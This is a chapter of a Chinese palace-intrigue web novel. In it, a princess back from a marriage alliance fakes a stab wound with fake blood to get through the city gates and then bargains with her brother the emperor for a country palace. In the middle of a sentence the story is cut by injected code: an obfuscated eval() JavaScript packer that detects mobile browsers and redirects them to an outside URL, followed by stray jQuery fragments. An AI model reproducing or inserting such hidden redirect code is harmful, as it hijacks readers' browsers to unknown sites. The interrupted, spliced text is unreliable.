2. 行宫 “秦将军!”
作品:《和亲后继子看上我了》 “秦将军!”
正在顾远和秦守易僵持之际,谢长青捧着一个锦盒从马车里钻了出来。
“秦伯伯,一别经年,您连皎佼也不认识了。”
谢长青只身着青碧色如意纹曲裾,垂髻上只浅浅簪了一只赤金松鹤长簪,其余再没有其他珠饰,加上略显苍白的脸色,更显得这一路风尘仆仆。
“皎佼可是您看着长大的,当初和亲之时还是您和顾将军送的皎佼出城呢。”
说罢还拿出帕子遮掩着浅浅咳嗽了几声,“昨日遭遇刺杀不假,多亏顾将军骁勇善战,不然皎佼恐怕就不是被刺一剑那么简单了。”
顾远暗中看了谢长青一眼,瞬间明白了谢长青的意图。
站在城门上的秦守易眉头一皱,“公主您受伤了?”
“是啊,那刺客实在可恶。万幸没有当场毙命,不过也不知道能活多久就是了…咳咳咳”
说完这句话的谢长青再次撕心裂肺地咳嗽起来,捂着嘴的帕子慢慢渗出鲜红的痕迹。
秦守易的眉头越皱越紧,忍不住小声和旁边的将士嘀咕起来,“宫里不是传来消息说公主无事,要我务必将公主挡在城门外吗?怎么如今公主看起来倒是一副命不久矣的样子。”
“秦将军!你也看见了,公主如今身受重伤,普天下只有宫里的太医最好,在下着急护送公主回宫里医治,还不快速速打开城门,若是公主有个什么三长两短,你担当得起吗!”
顾远自然看到了秦守易和小兵说话,若有所思地看了一眼病恹恹的谢长青,随即帮她打起了配合。
眼见着秦守易在听完这话后变得动摇起来,谢长青给他加上了最后一把火。
刚才止住的咳嗽再次严重起来,随着咳嗽,鲜血也止不住从谢长青的口中往外吐,没等众人反应过来,谢长青已经晕了过去。
“公主!”
琥珀撕心裂肺大喊一声,及时扶住了瘫软下去的谢长青并将她带回了马车里。
回到马车的谢长青默默睁开了眼睛,听着外面顾远和秦守易对峙。
“秦将军,你还不将城门打开!你也看见公主身体了,若是公主出了事,你我都担待不起。”
“这假血真是难闻,也不知那人是从哪里弄过来的。”琥珀一边帮谢长青擦着脸上的血液,一边嘀嘀咕咕,“不过得亏有了这东西,不然这一时半会要上哪里找去。”
这假血原是赫连珩准备来给谢长青假死脱身的,若她回京途中改变主意,用这假血涂抹在身伪造遇刺身亡现场,赫连珩自有办法带走她,不曾想居然用在了这里。
“一会儿若是秦守易还不开城门,你便将我交给你的锦盒送出去。”
主仆二人正说着便听见了城门被打开的声音。
“收起来吧,看起来是用不上了。”
刚才在秦守易站在旁边的小兵疑惑不解道:“您刚才不是说要将公主挡在城外吗,为什么突然又开了城门啊。”
“你懂什么!公主虚弱成那样,能不能活下来还不一定呢?若她真死在我这城门外,回头太后追究下来怎么办,我可是听说……”
话音戛然而止,那小兵追问道:“听说什么?”
秦守易没再理他,自顾自走了。
马车里的琥珀同样不解。已经将假血清理干净的谢长青懒懒靠在一旁,“他这是怕母后追究呢,我若是死路上也就罢了,但若是受了重伤被他耽误救治死在城门外就不一样了。”
“母后以外祖家兵权相威胁才让皇兄松口允我返京,我却因他而死,母后不能怪罪皇兄,势必会将怒火发泄在他身上,他怕担当不起。”
“况且我今日在他面前病成那样,他是笃定我命不久矣才下定决心打开城门吧,若我没猜错,现在信鸽已经在飞向皇宫的路上了。”
马车晃晃悠悠从街道上穿过,路边的摊贩发出响亮的吆喝声,说书人不知说到了什么,人群顿时爆发出一阵大笑,熟悉的环境和带着烟火气的乡音逐渐让谢长青睡了过去。
郊外的竹林里,一只信鸽悄然穿过,带着脚上的小竹管飞向远方。
皇宫里,刚得了信的谢景止勃然大怒,桌案被他一怒之下推翻了过去,上面的奏折四散而落,角落里的太监战战兢兢跪在地上。
皇后姚玉珍捡起掉在脚边的奏折,向着谢景止走了过去,“皇上何必动怒,万事总有解决的法子,气坏了身子就不划算了。”
“秦守易那个蠢货!他居然开了城门!”谢景止被气得一阵阵头疼,扶额坐了下来。
姚玉珍见此,上前轻轻将手搭在他的太阳穴上,缓缓揉了起来,“即使开了城门又如何,秦将军不是说公主身受重伤命不久矣吗,皇上又何必为此忧心。”
“你懂什么!她谢长青有没有受伤还不一定呢!我这妹妹最是狡猾,如今放她进了城门,再想对她动手就难了。”
谢景止叹息一声,“罢了罢了,还好她只是一介女子,只能等今后再找机会了。”
姚玉珍一直没说话,只是默默为谢景止揉着额头,减轻他的头疼。
谢长青新换了一身衣服,淡青色瑞云纹曲裾深衣,垂髻上簪了一对龙凤玉簪,淡雅无比。
站在上首的谢景止和太后都看见了她的穿着,这是她之前还未出嫁时在宫里常穿的衣服。太后眼含热泪,看得出对这个分离了三年的女儿很是想念。
连一直心里不愉的谢景止都有所触动,端出一副久别重逢的模样来,“皎佼!”
这一声饱含感情,若不是谢长青深知他的为人,怕是真以为他是一个心疼妹妹的好哥哥了。
“快到皇兄这里来,让皇兄好好看看,这些年皇兄和母后都是十分想念你啊。”
谢长青先对着谢景止行了一个跪拜大礼,又对着太后行了一个揖礼,站起身时她双眼含泪,“皇兄,母后!皎佼也想你们!”
“好好,回来就好,如今我们一家终于团聚了。”
太后看着谢长青欲言又止,“瘦了。”
她上前将谢长青拥入怀中,“如今我们皎佼再也不用吃苦了,以后你就和母后一起住在长乐宫,让母后好好疼你。”
谢长青心里疑惑,但是没有显露出来,面上仍和太后哭作一团。
等回了太后的长乐宫,确认四下都是可信任的人才问了出来,“母后,我的长信宫呢?”
太后脸上显露出为难的情绪,仿佛有什么事难以开口,还是一直在旁边侍奉的刘姑姑开口解释道:“公主您有所不知,长信宫在您走之后第二年就被陛下赐给琼华公主了,太后去拦了,但是没拦住。”
“琼华?她为什么非要住我的长信宫?”
“是,是陛下,说国库紧张,要开源节流,正好您也不回来了,您的屋子空着也是空着,便…便赐给了琼华公主。”
“母后!母后,皇兄怎么能……那是父皇赐给我的呀。”
谢长青哭得情难自已,“那是父皇留给我的最后一件东西了。”
太后被她哭得悲怆不已,“没事皎佼,不哭了皎佼,和母后一起住,母后还在呢,以后母后再也不会让他们欺负你了。”
在长乐宫折腾了许久,看着刘姑姑伺候着太后午睡了谢长青才有时间带着琥珀出去。
“公主我们去哪里啊?”
“自然是去拿回我们自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193800|181152||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的东西了,不然什么阿猫阿狗都能来踩上一脚。”
“给我搜,将父皇为我出嫁时所备的凤冠给我找出来。”
谢长青一声令下,侍从鱼贯而入。
闻讯赶来的谢琼华急得跳脚,“你们谁敢!这长信宫可是父皇赐给我的!你们谁敢搜。”
“小心本公主告诉父皇,将你们通通都拉去打板子。”
“琼华公主要打,不如先打我如何?”
谢长青转过身,干脆利落地给了谢琼华一个巴掌,“谁教你对着姑姑大呼小叫的,皇兄教女不严,那便让我这个做姑姑来教。”
“你!你敢打我!”谢琼华面红耳赤,“什么姑姑,你都已经嫁出去了,还克死自己的丈夫,你怎么还有脸面回来。”
他这句话正好被匆匆赶来的谢景止听了个全,他大步向前,猛地抽了谢琼华一个巴掌,“谁允许你这么和姑姑说话!”
挨了两巴掌的谢琼华哇一声哭着跑出去了。
谢长青早已注意到了门口明黄色的衣角,此时哭得梨花带雨,“皇兄,皎佼是不是不该回来,早知如此,皎佼不如撞死在那柱子上一了百了算了。”
说着作势就要向旁边的柱子撞过去,碍于脸面的谢景止只好急忙拉住她,违背本心说道:“哪有,你回来我们都很高兴,琼华年纪小,不懂事,你这个做姑姑别和她计较。况且长信宫我已经赐给她了,再要回来不是打皇兄的脸吗?”
“这样……”他停顿了好一会儿,才下定决心开口道:“我再给皎佼新建一个宫殿好不好?”
新建宫殿,她这个丧夫的长公主一回来就大兴土木,还不知道要被大司空参成什么样,谢长青只觉得讽刺,面上仍不显,做出一副感动至极的模样,“我就知道皇兄最好了。”
“不过。”她话风一转,“新建宫殿就不必了,我听说皇兄提倡开源节流,我哪能让皇兄难办。”
“皇兄不如将郊外那座行宫给我,让我出宫清修,这样也能少一些流言蜚语。”
“这……怕是太后那边不好说啊。”
谢景止一计未中,正想要换个别的办法,却听了谢长青自请出宫别居,郊外那座行宫废弃已久,既无太后庇护,又远离市井中心,他倒是十分乐意,太后就不一定了。
“皇兄只管放心,母后那边我自有办法。”
“好,那我就把那座行宫赐给皎佼。”谢景止刮了刮谢长青的鼻尖,答应得十分爽快。
“胡闹!”
听闻谢长青要出宫别居的太后十分愤怒,“若是你搬出去,离了我的庇护,你以后要如何立足,你知不知道你要承受多大的流言蜚语!”
“母后你别担心,儿臣自有分寸,不会让自己无立足之处的。儿臣还要等安顿下来好好伺候母后呢。”
看着谢长青讨巧卖乖的模样,太后十分的火气也变成了两分,她在心里深深叹息一声,“母后实在是担心你啊,若没了母后,以后谁来心疼你呢?”
“谁来心疼我们皎佼呢?”
等从太后房间出来时已是深夜了,琥珀给她加了一个月白吉祥纹的披风,“更深露重,公主小心受凉。”
“琥珀,我听说皇兄为了庆祝我回来,准备在过几日举办一个宴会是吗。”
“是,陛下已经在让人准备了。”
“你再差人去打听一下赴宴的人群,务必打听一下他们对于我回来的态度。”
“是。”
领了命令的琥珀退了下去,谢长青一人孤零零地站在廊下,拂过的寒风吹动了她的衣衫,纤细的背影在月光下显得格外孤寂。
良久,一声叹息轻轻地传了出去。

